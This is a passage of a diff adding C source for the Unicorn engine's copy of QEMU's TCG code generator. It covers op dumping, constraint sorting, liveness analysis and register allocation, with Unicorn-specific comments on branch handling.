nb_oargs = def->nb_oargs; + nb_iargs = def->nb_iargs; + nb_cargs = def->nb_cargs; + } else if (c == INDEX_op_call) { + TCGArg arg; + + /* variable number of arguments */ + arg = *args++; + nb_oargs = arg >> 16; + nb_iargs = arg & 0xffff; + nb_cargs = def->nb_cargs; + + /* function name, flags, out args */ + printf(" %s %s,$0x%" TCG_PRIlx ",$%d", def->name, + tcg_find_helper(s, args[nb_oargs + nb_iargs]), + args[nb_oargs + nb_iargs + 1], nb_oargs); + for (i = 0; i < nb_oargs; i++) { + printf(",%s", tcg_get_arg_str_idx(s, buf, sizeof(buf), + args[i])); + } + for (i = 0; i < nb_iargs; i++) { + TCGArg arg = args[nb_oargs + i]; + const char *t = ""; + if (arg != TCG_CALL_DUMMY_ARG) { + t = tcg_get_arg_str_idx(s, buf, sizeof(buf), arg); + } + printf(",%s", t); + } + } else { + printf(" %s ", def->name); + if (c == INDEX_op_nopn) { + /* variable number of arguments */ + nb_cargs = *args; + nb_oargs = 0; + nb_iargs = 0; + } else { + nb_oargs = def->nb_oargs; + nb_iargs = def->nb_iargs; + nb_cargs = def->nb_cargs; + } + + k = 0; + for(i = 0; i < nb_oargs; i++) { + if (k != 0) { + printf(","); + } + printf("%s", tcg_get_arg_str_idx(s, buf, sizeof(buf), + args[k++])); + } + for(i = 0; i < nb_iargs; i++) { + if (k != 0) { + printf(","); + } + printf("%s", tcg_get_arg_str_idx(s, buf, sizeof(buf), + args[k++])); + } + switch (c) { + case INDEX_op_brcond_i32: + case INDEX_op_setcond_i32: + case INDEX_op_movcond_i32: + case INDEX_op_brcond2_i32: + case INDEX_op_setcond2_i32: + case INDEX_op_brcond_i64: + case INDEX_op_setcond_i64: + case INDEX_op_movcond_i64: + if (args[k] < ARRAY_SIZE(cond_name) && cond_name[args[k]]) { + printf(",%s", cond_name[args[k++]]); + } else { + printf(",$0x%" TCG_PRIlx, args[k++]); + } + i = 1; + break; + case INDEX_op_qemu_ld_i32: + case INDEX_op_qemu_st_i32: + case INDEX_op_qemu_ld_i64: + case INDEX_op_qemu_st_i64: + if (args[k] < ARRAY_SIZE(ldst_name) && ldst_name[args[k]]) { + printf(",%s", ldst_name[args[k++]]); + } else { + printf(",$0x%" TCG_PRIlx, args[k++]); + } + i = 1; + break; + default: + i = 0; + break; + } + for(; i < nb_cargs; i++) { + if (k != 0) { + printf(","); + } + arg = args[k++]; + printf("$0x%" TCG_PRIlx, arg); + } + } + printf("\n"); + args += nb_iargs + nb_oargs + nb_cargs; + } + printf("###########\n"); +} + +/* we give more priority to constraints with less registers */ +static int get_constraint_priority(const TCGOpDef *def, int k) +{ + const TCGArgConstraint *arg_ct; + + int i, n; + arg_ct = &def->args_ct[k]; + if (arg_ct->ct & TCG_CT_ALIAS) { + /* an alias is equivalent to a single register */ + n = 1; + } else { + if (!(arg_ct->ct & TCG_CT_REG)) + return 0; + n = 0; + for(i = 0; i < TCG_TARGET_NB_REGS; i++) { + if (tcg_regset_test_reg(arg_ct->u.regs, i)) + n++; + } + } + return TCG_TARGET_NB_REGS - n + 1; +} + +/* sort from highest priority to lowest */ +static void sort_constraints(TCGOpDef *def, int start, int n) +{ + int i, j, p1, p2, tmp; + + for(i = 0; i < n; i++) + def->sorted_args[start + i] = start + i; + if (n <= 1) + return; + for(i = 0; i < n - 1; i++) { + for(j = i + 1; j < n; j++) { + p1 = get_constraint_priority(def, def->sorted_args[start + i]); + p2 = get_constraint_priority(def, def->sorted_args[start + j]); + if (p1 < p2) { + tmp = def->sorted_args[start + i]; + def->sorted_args[start + i] = def->sorted_args[start + j]; + def->sorted_args[start + j] = tmp; + } + } + } +} + +void tcg_add_target_add_op_defs(TCGContext *s, const TCGTargetOpDef *tdefs) +{ + TCGOpcode op; + TCGOpDef *def; + const char *ct_str; + int i, nb_args; + + for(;;) { + if (tdefs->op == (TCGOpcode)-1) + break; + op = tdefs->op; + assert((unsigned)op < NB_OPS); + def = &s->tcg_op_defs[op]; +#if defined(CONFIG_DEBUG_TCG) + /* Duplicate entry in op definitions? */ + assert(!def->used); + def->used = 1; +#endif + nb_args = def->nb_iargs + def->nb_oargs; + for(i = 0; i < nb_args; i++) { + ct_str = tdefs->args_ct_str[i]; + /* Incomplete TCGTargetOpDef entry? */ + assert(ct_str != NULL); + tcg_regset_clear(def->args_ct[i].u.regs); + def->args_ct[i].ct = 0; + if (ct_str[0] >= '0' && ct_str[0] <= '9') { + int oarg; + oarg = ct_str[0] - '0'; + assert(oarg < def->nb_oargs); + assert(def->args_ct[oarg].ct & TCG_CT_REG); + /* TCG_CT_ALIAS is for the output arguments. The input + argument is tagged with TCG_CT_IALIAS. */ + def->args_ct[i] = def->args_ct[oarg]; + def->args_ct[oarg].ct = TCG_CT_ALIAS; + def->args_ct[oarg].alias_index = i; + def->args_ct[i].ct |= TCG_CT_IALIAS; + def->args_ct[i].alias_index = oarg; + } else { + for(;;) { + if (*ct_str == '\0') + break; + switch(*ct_str) { + case 'i': + def->args_ct[i].ct |= TCG_CT_CONST; + ct_str++; + break; + default: + if (target_parse_constraint(&def->args_ct[i], &ct_str) < 0) { + fprintf(stderr, "Invalid constraint '%s' for arg %d of operation '%s'\n", + ct_str, i, def->name); + exit(1); + } + } + } + } + } + + /* TCGTargetOpDef entry with too much information? */ + assert(i == TCG_MAX_OP_ARGS || tdefs->args_ct_str[i] == NULL); + + /* sort the constraints (XXX: this is just an heuristic) */ + sort_constraints(def, 0, def->nb_oargs); + sort_constraints(def, def->nb_oargs, def->nb_iargs); + +#if 0 + { + int i; + + printf("%s: sorted=", def->name); + for(i = 0; i < def->nb_oargs + def->nb_iargs; i++) + printf(" %d", def->sorted_args[i]); + printf("\n"); + } +#endif + tdefs++; + } + +#if defined(CONFIG_DEBUG_TCG) + i = 0; + for (op = 0; op < ARRAY_SIZE(s->tcg_op_defs); op++) { + const TCGOpDef *def = &s->tcg_op_defs[op]; + if (def->flags & TCG_OPF_NOT_PRESENT) { + /* Wrong entry in op definitions? */ + if (def->used) { + fprintf(stderr, "Invalid op definition for %s\n", def->name); + i = 1; + } + } else { + /* Missing entry in op definitions? */ + if (!def->used) { + fprintf(stderr, "Missing op definition for %s\n", def->name); + i = 1; + } + } + } + if (i == 1) { + tcg_abort(); + } +#endif +} + +#ifdef USE_LIVENESS_ANALYSIS + +/* set a nop for an operation using 'nb_args' */ +static inline void tcg_set_nop(TCGContext *s, uint16_t *opc_ptr, + TCGArg *args, int nb_args) +{ + if (nb_args == 0) { + *opc_ptr = INDEX_op_nop; + } else { + *opc_ptr = INDEX_op_nopn; + args[0] = nb_args; + args[nb_args - 1] = nb_args; + } +} + +/* liveness analysis: end of function: all temps are dead, and globals + should be in memory. */ +static inline void tcg_la_func_end(TCGContext *s, uint8_t *dead_temps, + uint8_t *mem_temps) +{ + memset(dead_temps, 1, s->nb_temps); + memset(mem_temps, 1, s->nb_globals); + memset(mem_temps + s->nb_globals, 0, s->nb_temps - s->nb_globals); +} + +/* liveness analysis: end of basic block: all temps are dead, globals + and local temps should be in memory. */ +static inline void tcg_la_bb_end(TCGContext *s, uint8_t *dead_temps, + uint8_t *mem_temps) +{ + int i; + + memset(dead_temps, 1, s->nb_temps); + memset(mem_temps, 1, s->nb_globals); + for(i = s->nb_globals; i < s->nb_temps; i++) { + mem_temps[i] = s->temps[i].temp_local; + } +} + +/* + Unicorn: for brcond, we should refresh liveness states for TCG globals +*/ +static inline void tcg_la_br_end(TCGContext *s, uint8_t *mem_temps) +{ + int i; + memset(mem_temps, 1, s->nb_globals); + for(i = s->nb_globals; i < s->nb_temps; i++) { + mem_temps[i] = s->temps[i].temp_local; + } +} + +/* Liveness analysis : update the opc_dead_args array to tell if a + given input arguments is dead. Instructions updating dead + temporaries are removed. */ +static void tcg_liveness_analysis(TCGContext *s) +{ + int i, op_index, nb_args, nb_iargs, nb_oargs, nb_ops; + TCGOpcode op, op_new, op_new2; + TCGArg *args, arg; + const TCGOpDef *def; + uint8_t *dead_temps, *mem_temps; + uint16_t dead_args; + uint8_t sync_args; + bool have_op_new2; + + s->gen_opc_ptr++; /* skip end */ + + nb_ops = s->gen_opc_ptr - s->gen_opc_buf; + + s->op_dead_args = tcg_malloc(s, nb_ops * sizeof(uint16_t)); + s->op_sync_args = tcg_malloc(s, nb_ops * sizeof(uint8_t)); + + dead_temps = tcg_malloc(s, s->nb_temps); + mem_temps = tcg_malloc(s, s->nb_temps); + tcg_la_func_end(s, dead_temps, mem_temps); + + args = s->gen_opparam_ptr; + op_index = nb_ops - 1; + while (op_index >= 0) { + op = s->gen_opc_buf[op_index]; + def = &s->tcg_op_defs[op]; + switch(op) { + case INDEX_op_call: + { + int call_flags; + + nb_args = args[-1]; + args -= nb_args; + arg = *args++; + nb_iargs = arg & 0xffff; + nb_oargs = arg >> 16; + call_flags = args[nb_oargs + nb_iargs + 1]; + + /* pure functions can be removed if their result is not + used */ + if (call_flags & TCG_CALL_NO_SIDE_EFFECTS) { + for (i = 0; i < nb_oargs; i++) { + arg = args[i]; + if (!dead_temps[arg] || mem_temps[arg]) { + goto do_not_remove_call; + } + } + tcg_set_nop(s, s->gen_opc_buf + op_index, + args - 1, nb_args); + } else { + do_not_remove_call: + + /* output args are dead */ + dead_args = 0; + sync_args = 0; + for (i = 0; i < nb_oargs; i++) { + arg = args[i]; + if (dead_temps[arg]) { + dead_args |= (1 << i); + } + if (mem_temps[arg]) { + sync_args |= (1 << i); + } + dead_temps[arg] = 1; + mem_temps[arg] = 0; + } + + if (!(call_flags & TCG_CALL_NO_READ_GLOBALS)) { + /* globals should be synced to memory */ + memset(mem_temps, 1, s->nb_globals); + } + if (!(call_flags & (TCG_CALL_NO_WRITE_GLOBALS | + TCG_CALL_NO_READ_GLOBALS))) { + /* globals should go back to memory */ + memset(dead_temps, 1, s->nb_globals); + } + + /* input args are live */ + for (i = nb_oargs; i < nb_iargs + nb_oargs; i++) { + arg = args[i]; + if (arg != TCG_CALL_DUMMY_ARG) { + if (dead_temps[arg]) { + dead_args |= (1 << i); + } + dead_temps[arg] = 0; + } + } + s->op_dead_args[op_index] = dead_args; + s->op_sync_args[op_index] = sync_args; + } + args--; + } + break; + case INDEX_op_debug_insn_start: + args -= def->nb_args; + break; + case INDEX_op_nopn: + nb_args = args[-1]; + args -= nb_args; + break; + case INDEX_op_discard: + args--; + /* mark the temporary as dead */ + dead_temps[args[0]] = 1; + mem_temps[args[0]] = 0; + break; + case INDEX_op_end: + break; + + case INDEX_op_add2_i32: + op_new = INDEX_op_add_i32; + goto do_addsub2; + case INDEX_op_sub2_i32: + op_new = INDEX_op_sub_i32; + goto do_addsub2; + case INDEX_op_add2_i64: + op_new = INDEX_op_add_i64; + goto do_addsub2; + case INDEX_op_sub2_i64: + op_new = INDEX_op_sub_i64; + do_addsub2: + args -= 6; + nb_iargs = 4; + nb_oargs = 2; + /* Test if the high part of the operation is dead, but not + the low part. The result can be optimized to a simple + add or sub. This happens often for x86_64 guest when the + cpu mode is set to 32 bit. */ + if (dead_temps[args[1]] && !mem_temps[args[1]]) { + if (dead_temps[args[0]] && !mem_temps[args[0]]) { + goto do_remove; + } + /* Create the single operation plus nop. */ + s->gen_opc_buf[op_index] = op = op_new; + args[1] = args[2]; + args[2] = args[4]; + assert(s->gen_opc_buf[op_index + 1] == INDEX_op_nop); + tcg_set_nop(s, s->gen_opc_buf + op_index + 1, args + 3, 3); + /* Fall through and mark the single-word operation live. */ + nb_iargs = 2; + nb_oargs = 1; + } + goto do_not_remove; + + case INDEX_op_mulu2_i32: + op_new = INDEX_op_mul_i32; + op_new2 = INDEX_op_muluh_i32; + have_op_new2 = TCG_TARGET_HAS_muluh_i32; + goto do_mul2; + case INDEX_op_muls2_i32: + op_new = INDEX_op_mul_i32; + op_new2 = INDEX_op_mulsh_i32; + have_op_new2 = TCG_TARGET_HAS_mulsh_i32; + goto do_mul2; + case INDEX_op_mulu2_i64: + op_new = INDEX_op_mul_i64; + op_new2 = INDEX_op_muluh_i64; + have_op_new2 = TCG_TARGET_HAS_muluh_i64; + goto do_mul2; + case INDEX_op_muls2_i64: + op_new = INDEX_op_mul_i64; + op_new2 = INDEX_op_mulsh_i64; + have_op_new2 = TCG_TARGET_HAS_mulsh_i64; + goto do_mul2; + do_mul2: + args -= 4; + nb_iargs = 2; + nb_oargs = 2; + if (dead_temps[args[1]] && !mem_temps[args[1]]) { + if (dead_temps[args[0]] && !mem_temps[args[0]]) { + /* Both parts of the operation are dead. */ + goto do_remove; + } + /* The high part of the operation is dead; generate the low. */ + s->gen_opc_buf[op_index] = op = op_new; + args[1] = args[2]; + args[2] = args[3]; + } else if (have_op_new2 && dead_temps[args[0]] + && !mem_temps[args[0]]) { + /* The low part of the operation is dead; generate the high. */ + s->gen_opc_buf[op_index] = op = op_new2; + args[0] = args[1]; + args[1] = args[2]; + args[2] = args[3]; + } else { + goto do_not_remove; + } + assert(s->gen_opc_buf[op_index + 1] == INDEX_op_nop); + tcg_set_nop(s, s->gen_opc_buf + op_index + 1, args + 3, 1); + /* Mark the single-word operation live. */ + nb_oargs = 1; + goto do_not_remove; + + default: + /* XXX: optimize by hardcoding common cases (e.g. triadic ops) */ + args -= def->nb_args; + nb_iargs = def->nb_iargs; + nb_oargs = def->nb_oargs; + + /* Test if the operation can be removed because all + its outputs are dead. We assume that nb_oargs == 0 + implies side effects */ + if (!(def->flags & TCG_OPF_SIDE_EFFECTS) && nb_oargs != 0) { + for(i = 0; i < nb_oargs; i++) { + if (args[i] >= TCG_MAX_TEMPS) { + continue; + } + arg = args[i]; + if (!dead_temps[arg] || mem_temps[arg]) { + goto do_not_remove; + } + } + do_remove: + tcg_set_nop(s, s->gen_opc_buf + op_index, args, def->nb_args); +#ifdef CONFIG_PROFILER + s->del_op_count++; +#endif + } else { + do_not_remove: + + /* output args are dead */ + dead_args = 0; + sync_args = 0; + for(i = 0; i < nb_oargs; i++) { + arg = args[i]; + if (dead_temps[arg]) { + dead_args |= (1 << i); + } + if (mem_temps[arg]) { + sync_args |= (1 << i); + } + dead_temps[arg] = 1; + mem_temps[arg] = 0; + } + + /* if end of basic block, update */ + if (def->flags & TCG_OPF_BB_END) { + // Unicorn: do not optimize dead temps on brcond, + // this causes problem because check_exit_request() inserts + // brcond instruction in the middle of the TB, + // which incorrectly flags end-of-block + if (op != INDEX_op_brcond_i32) + tcg_la_bb_end(s, dead_temps, mem_temps); + // Unicorn: we do not touch dead temps for brcond, + // but we should refresh TCG globals In-Memory states, + // otherwise, important CPU states(especially conditional flags) might be forgotten, + // result in wrongly generated host code that run into wrong branch. + // Refer to https://github.com/unicorn-engine/unicorn/issues/287 for further information + else + tcg_la_br_end(s, mem_temps); + } else if (def->flags & TCG_OPF_SIDE_EFFECTS) { + /* globals should be synced to memory */ + memset(mem_temps, 1, s->nb_globals); + } + + /* input args are live */ + for(i = nb_oargs; i < nb_oargs + nb_iargs; i++) { + arg = args[i]; + if (dead_temps[arg]) { + dead_args |= (1 << i); + } + dead_temps[arg] = 0; + } + s->op_dead_args[op_index] = dead_args; + s->op_sync_args[op_index] = sync_args; + } + break; + } + op_index--; + } + + if (args != s->gen_opparam_buf) { + tcg_abort(); + } +} +#else +/* dummy liveness analysis */ +static void tcg_liveness_analysis(TCGContext *s) +{ + int nb_ops; + nb_ops = s->gen_opc_ptr - s->gen_opc_buf; + + s->op_dead_args = tcg_malloc(s, nb_ops * sizeof(uint16_t)); + memset(s->op_dead_args, 0, nb_ops * sizeof(uint16_t)); + s->op_sync_args = tcg_malloc(s, nb_ops * sizeof(uint8_t)); + memset(s->op_sync_args, 0, nb_ops * sizeof(uint8_t)); +} +#endif + +#ifndef NDEBUG +static void dump_regs(TCGContext *s) +{ + TCGTemp *ts; + int i; + char buf[64]; + + for(i = 0; i < s->nb_temps; i++) { + ts = &s->temps[i]; + printf(" %10s: ", tcg_get_arg_str_idx(s, buf, sizeof(buf), i)); + switch(ts->val_type) { + case TEMP_VAL_REG: + printf("%s", tcg_target_reg_names[ts->reg]); + break; + case TEMP_VAL_MEM: + printf("%d(%s)", (int)ts->mem_offset, tcg_target_reg_names[ts->mem_reg]); + break; + case TEMP_VAL_CONST: + printf("$0x%" TCG_PRIlx, ts->val); + break; + case TEMP_VAL_DEAD: + printf("D"); + break; + default: + printf("???"); + break; + } + printf("\n"); + } + + for(i = 0; i < TCG_TARGET_NB_REGS; i++) { + if (s->reg_to_temp[i] >= 0) { + printf("%s: %s\n", + tcg_target_reg_names[i], + tcg_get_arg_str_idx(s, buf, sizeof(buf), s->reg_to_temp[i])); + } + } +} + +static void check_regs(TCGContext *s) +{ + int reg, k; + TCGTemp *ts; + char buf[64]; + + for(reg = 0; reg < TCG_TARGET_NB_REGS; reg++) { + k = s->reg_to_temp[reg]; + if (k >= 0) { + ts = &s->temps[k]; + if (ts->val_type != TEMP_VAL_REG || + ts->reg != reg) { + printf("Inconsistency for register %s:\n", + tcg_target_reg_names[reg]); + goto fail; + } + } + } + for(k = 0; k < s->nb_temps; k++) { + ts = &s->temps[k]; + if (ts->val_type == TEMP_VAL_REG && + !ts->fixed_reg && + s->reg_to_temp[ts->reg] != k) { + printf("Inconsistency for temp %s:\n", + tcg_get_arg_str_idx(s, buf, sizeof(buf), k)); + fail: + printf("reg state:\n"); + dump_regs(s); + tcg_abort(); + } + } +} +#endif + +static void temp_allocate_frame(TCGContext *s, int temp) +{ + TCGTemp *ts; + ts = &s->temps[temp]; +#if !(defined(__sparc__) && TCG_TARGET_REG_BITS == 64) + /* Sparc64 stack is accessed with offset of 2047 */ + s->current_frame_offset = (s->current_frame_offset + + (tcg_target_long)sizeof(tcg_target_long) - 1) & + ~(sizeof(tcg_target_long) - 1); +#endif + if (s->current_frame_offset + (tcg_target_long)sizeof(tcg_target_long) > + s->frame_end) { + tcg_abort(); + } + ts->mem_offset = s->current_frame_offset; + ts->mem_reg = s->frame_reg; + ts->mem_allocated = 1; + s->current_frame_offset += sizeof(tcg_target_long); +} + +/* sync register 'reg' by saving it to the corresponding temporary */ +static inline void tcg_reg_sync(TCGContext *s, int reg) +{ + TCGTemp *ts; + int temp; + + temp = s->reg_to_temp[reg]; + ts = &s->temps[temp]; + assert(ts->val_type == TEMP_VAL_REG); + if (!ts->mem_coherent && !ts->fixed_reg) { + if (!ts->mem_allocated) { + temp_allocate_frame(s, temp); + } + tcg_out_st(s, ts->type, reg, ts->mem_reg, ts->mem_offset); + } + ts->mem_coherent = 1; +} + +/* free register 'reg' by spilling the corresponding temporary if necessary */ +static void tcg_reg_free(TCGContext *s, int reg) +{ + int temp; + + temp = s->reg_to_temp[reg]; + if (temp != -1) { + tcg_reg_sync(s, reg); + s->temps[temp].val_type = TEMP_VAL_MEM; + s->reg_to_temp[reg] = -1; + } +} + +/* Allocate a register belonging to reg1 & ~reg2 */ +static int tcg_reg_alloc(TCGContext *s, TCGRegSet reg1, TCGRegSet reg2) +{ + int i, reg; + TCGRegSet reg_ct; + + tcg_regset_andnot(reg_ct, reg1, reg2); + + /* first try free registers */ + for(i = 0; i < ARRAY_SIZE(tcg_target_reg_alloc_order); i++) { + reg = tcg_target_reg_alloc_order[i]; + if (tcg_regset_test_reg(reg_ct, reg) && s->reg_to_temp[reg] == -1) + return reg; + } + + /* XXX: do better spill choice */ + for(i = 0; i < ARRAY_SIZE(tcg_target_reg_alloc_order); i++) { + reg = tcg_target_reg_alloc_order[i]; + if (tcg_regset_test_reg(reg_ct, reg)) { + tcg_reg_free(s, reg); + return reg; + } + } + + tcg_abort(); +} + +/* mark a temporary as dead. */ +static inline void temp_dead(TCGContext *s, int temp) +{ + TCGTemp *ts; + + ts = &s->temps[temp]; + if (!ts->fixed_reg) { + if (ts->val_type == TEMP_VAL_REG) { + s->reg_to_temp[ts->reg] = -1; + } + if (temp < s->nb_globals || ts->temp_local) { + ts->val_type = TEMP_VAL_MEM; + } else { + ts->val_type = TEMP_VAL_DEAD; + } + } +} + +/* sync a temporary to memory. 'allocated_regs' is used in case a + temporary registers needs to be allocated to store a constant. */ +static inline void temp_sync(TCGContext *s, int temp, TCGRegSet allocated_regs) +{ + TCGTemp *ts; + + ts = &s->temps[temp]; + if (!ts->fixed_reg) { + switch(ts->val_type) { + case TEMP_VAL_CONST: + ts->reg = tcg_reg_alloc(s, (TCGRegSet)s->tcg_target_available_regs[ts->type], + allocated_regs); + ts->val_type = TEMP_VAL_REG; + s->reg_to_temp[ts->reg] = temp; + ts->mem_coherent = 0; + tcg_out_movi(s, ts->type, ts->reg, ts->val); + /* fallthrough*/ + case TEMP_VAL_REG: + tcg_reg_sync(s, ts->reg); + break; + case TEMP_VAL_DEAD: + case TEMP_VAL_MEM: + break; + default: + tcg_abort(); + } + } +} + +/* save a temporary to memory. 'allocated_regs' is used in case a + temporary registers needs to be allocated to store a constant. */ +static inline void temp_save(TCGContext *s, int temp, TCGRegSet allocated_regs) +{ +#ifdef USE_LIVENESS_ANALYSIS + /* The liveness analysis already ensures that globals are back + in memory. Keep an assert for safety. */ + assert(s->temps[temp].val_type == TEMP_VAL_MEM || s->temps[temp].fixed_reg); +#else + temp_sync(s, temp, allocated_regs); + temp_dead(s, temp); +#endif +} + +/* save globals to their canonical location and assume they can be + modified be the following code. 'allocated_regs' is used in case a + temporary registers needs to be allocated to store a constant. */ +static void save_globals(TCGContext *s, TCGRegSet allocated_regs) +{ + int i; + + for(i = 0; i < s->nb_globals; i++) { + temp_save(s, i, allocated_regs); + } +} + +/* sync globals to their canonical location and assume they can be + read by the following code. 'allocated_regs' is used in case a + temporary registers needs to be allocated to store a constant. */ +static void sync_globals(TCGContext *s, TCGRegSet allocated_regs) +{ + int i; + + for (i = 0; i < s->nb_globals; i++) { +#ifdef USE_LIVENESS_ANALYSIS + assert(s->temps[i].val_type != TEMP_VAL_REG || s->temps[i].fixed_reg || + s->temps[i].mem_coherent); +#else + temp_sync(s, i, allocated_regs); +#endif + } +} + +/* at the end of a basic block, we assume all temporaries are dead and + all globals are stored at their canonical location. */ +static void tcg_reg_alloc_bb_end(TCGContext *s, TCGRegSet allocated_regs) +{ + TCGTemp *ts; + int i; + + for(i = s->nb_globals; i < s->nb_temps; i++) { + ts = &s->temps[i]; + if (ts->temp_local) { + temp_save(s, i, allocated_regs); + } else { +#ifdef USE_LIVENESS_ANALYSIS + /* The liveness analysis already ensures that temps are dead. + Keep an assert for safety. */ + assert(ts->val_type == TEMP_VAL_DEAD); +#else + temp_dead(s, i); +#endif + } + } + + save_globals(s, allocated_regs); +} + +#define IS_DEAD_ARG(n) ((dead_args >> (n)) & 1) +#define NEED_SYNC_ARG(n) ((sync_args >> (n)) & 1) + +static void tcg_reg_alloc_movi(TCGContext *s, const TCGArg *args, + uint16_t dead_args, uint8_t sync_args) +{ + TCGTemp *ots; + tcg_target_ulong val; + + ots = &s->temps[args[0]]; + val = args[1]; + + if (ots->fixed_reg) { + /* for fixed registers, we do not do any constant + propagation */ + tcg_out_movi(s, ots->type, ots->reg, val); + } else { + /* The movi is not explicitly generated here */ + if (ots->val_type == TEMP_VAL_REG) + s->reg_to_temp[ots->reg] = -1; + ots->val_type = TEMP_VAL_CONST; + ots->val = val; + } + if (NEED_SYNC_ARG(0)) { + temp_sync(s, args[0], s->reserved_regs); + } + if (IS_DEAD_ARG(0)) { + temp_dead(s, args[0]); + } +} + +static void tcg_reg_alloc_mov(TCGContext *s, const TCGOpDef *def, + const TCGArg *args, uint16_t dead_args, + uint8_t sync_args) +{ + TCGRegSet allocated_regs; + TCGTemp *ts, *ots; + TCGType otype, itype; + + tcg_regset_set(allocated_regs, s->reserved_regs); + ots = &s->temps[args[0]]; + ts = &s->temps[args[1]]; + + /* Note that otype != itype for no-op truncation. */ + otype = ots->type; + itype = ts->type; + + /* If the source value is not in a register, and we're going to be + forced to have it in a register in order to perform the copy, + then copy the SOURCE value into its own register first. That way + we don't have to reload SOURCE the next time it is used. */ + if (((NEED_SYNC_ARG(0) || ots->fixed_reg) && ts->val_type != TEMP_VAL_REG) + || ts->val_type == TEMP_VAL_MEM) { + ts->reg = tcg_reg_alloc(s, (TCGRegSet)s->tcg_target_available_regs[itype], + allocated_regs); + if (ts->val_type == TEMP_VAL_MEM) { + tcg_out_ld(s, itype, ts->reg, ts->mem_reg, ts->mem_offset); + ts->mem_coherent = 1; + } else if (ts->val_type == TEMP_VAL_CONST) { + tcg_out_movi(s, itype, ts->reg, ts->val); + ts->mem_coherent = 0; + } + s->reg_to_temp[ts->reg] = args[1]; + ts->val_type = TEMP_VAL_REG; + } + + if (IS_DEAD_ARG(0) && !ots->fixed_reg) { + /* mov to a non-saved dead register makes no sense (even with + liveness analysis disabled). */ + assert(NEED_SYNC_ARG(0)); + /* The code above should have moved the temp to a register. */ + assert(ts->val_type == TEMP_VAL_REG); + if (!ots->mem_allocated) { + temp_allocate_frame(s, args[0]); + } + tcg_out_st(s, otype, ts->reg, ots->mem_reg, ots->mem_offset); + if (IS_DEAD_ARG(1)) { + temp_dead(s, args[1]); + } + temp_dead(s, args[0]); + } else if (ts->val_type == TEMP_VAL_CONST) { + /* propagate constant */ + if (ots->val_type == TEMP_VAL_REG) { + s->reg_to_temp[ots->reg] = -1; + } + ots->val_type = TEMP_VAL_CONST; + ots->val = ts->val; + } else { + /* The code in the first if block should have moved the + temp to a register. */ + assert(ts->val_type == TEMP_VAL_REG); + if (IS_DEAD_ARG(1) && !ts->fixed_reg && !ots->fixed_reg) { + /* the mov can be suppressed */ + if (ots->val_type == TEMP_VAL_REG) { + s->reg_to_temp[ots->reg] = -1; + } + ots->reg = ts->reg; + temp_dead(s, args[1]); + } else { + if (ots->val_type != TEMP_VAL_REG) { + /* When allocating a new register, make sure to not spill the + input one. */ + tcg_regset_set_reg(allocated_regs, ts->reg); + ots->reg = tcg_reg_alloc(s, (TCGRegSet)s->tcg_target_available_regs[otype], + allocated_regs); + } + tcg_out_mov(s, otype, ots->reg, ts->reg); + } + ots->val_type = TEMP_VAL_REG; + ots->mem_coherent = 0; + s->reg_to_temp[ots->reg] = args[0]; + if (NEED_SYNC_ARG(0)) { + tcg_reg_sync(s, ots->reg); + } + } +} + +static void tcg_reg_alloc_op(TCGContext *s, + const TCGOpDef *def, TCGOpcode opc, + const TCGArg *args, uint16_t dead_args, + uint8_t sync_args) +{ + TCGRegSet allocated_regs; + int i, k, nb_iargs, nb_oargs, reg; + TCGArg arg; + const TCGArgConstraint *arg_ct; + TCGTemp *ts; + TCGArg new_args[TCG_MAX_OP_ARGS]; + int const_args[TCG_MAX_OP_ARGS]; + + nb_oargs = def->nb_oargs; + nb_iargs = def->nb_iargs; + + /* copy constants */ + memcpy(new_args + nb_oargs + nb_iargs, + args + nb_oargs + nb_iargs, + sizeof(TCGArg) * def->nb_cargs); + + /* satisfy input constraints */ + tcg_regset_set(allocated_regs, s->reserved_regs); + for(k = 0; k < nb_iargs; k++) { + i = def->sorted_args[nb_oargs + k]; + arg = args[i]; + arg_ct = &def->args_ct[i]; + ts = &s->temps[arg]; + if (ts->val_type == TEMP_VAL_MEM) { + reg = tcg_reg_alloc(s, arg_ct->u.regs, allocated_regs); + tcg_out_ld(s, ts->type, reg, ts->mem_reg, ts->mem_offset); + ts->val_type = TEMP_VAL_REG; + ts->reg = reg; + ts->mem_coherent = 1; + s->reg_to_temp[reg] = arg; + } else if (ts->val_type == TEMP_VAL_CONST) { + if (tcg_target_const_match(ts->val, ts->type, arg_ct)) { + /* constant is OK for instruction */ + const_args[i] = 1; + new_args[i] = ts->val; + goto iarg_end; + } else { + /* need to move to a register */ + reg = tcg_reg_alloc(s, arg_ct->u.regs, allocated_regs); + tcg_out_movi(s, ts->type, reg, ts->val); + ts->val_type = TEMP_VAL_REG; + ts->reg = reg; + ts->mem_coherent = 0; + s->reg_to_temp[reg] = arg; + } + } + assert(ts->val_type == TEMP_VAL_REG); + if (arg_ct->ct & TCG_CT_IALIAS) { + if (ts->fixed_reg) { + /* if fixed register, we must allocate a new register + if the alias is not the same register */ + if (arg != args[arg_ct->alias_index]) + goto allocate_in_reg; + } else { + /* if the input is aliased to an output and if it is + not dead after the instruction, we must allocate + a new register and move it */ + if (!IS_DEAD_ARG(i)) { + goto allocate_in_reg; + } + } + } + reg = ts->reg; + if (tcg_regset_test_reg(arg_ct->u.regs, reg)) { + /* nothing to do : the constraint is satisfied */ + } else { + allocate_in_reg: + /* allocate a new register matching the constraint + and move the temporary register into it */ + reg = tcg_reg_alloc(s, arg_ct->u.regs, allocated_regs); + tcg_out_mov(s, ts->type, reg, ts->reg); + } + new_args[i] = reg; + const_args[i] = 0; + tcg_regset_set_reg(allocated_regs, reg); + iarg_end: ; + } + + /* mark dead temporaries and free the associated registers */ + for (i = nb_oargs; i < nb_oargs + nb_iargs; i++) { + if (IS_DEAD_ARG(i)) { + temp_dead(s, args[i]); + } + } + + if (def->flags & TCG_OPF_BB_END) { + tcg_reg_alloc_bb_end(s, allocated_regs); + } else { + if (def->flags & TCG_OPF_CALL_CLOBBER) { + /* XXX: permit generic clobber register list ? */ + for(reg = 0; reg < TCG_TARGET_NB_REGS; reg++) { + if (tcg_regset_test_reg(s->tcg_target_call_clobber_regs, reg)) { + tcg_reg_free(s, reg); + } + } + } + if (def->flags & TCG_OPF_SIDE_EFFECTS) { + /* sync globals if the op has side effects and might trigger + an exception. */ + sync_globals(s, allocated_regs); + } + + /* satisfy the output constraints */ + tcg_regset_set(allocated_regs, s->reserved_regs); + for(k = 0; k < nb_oargs; k++) { + i = def->sorted_args[k]; + arg = args[i]; + arg_ct = &def->args_ct[i]; + ts = &s->temps[arg]; + if (arg_ct->ct & TCG_CT_ALIAS) { + reg = new_args[arg_ct->alias_index]; + } else { + /* if fixed register, we try to use it */ + reg = ts->reg; + if 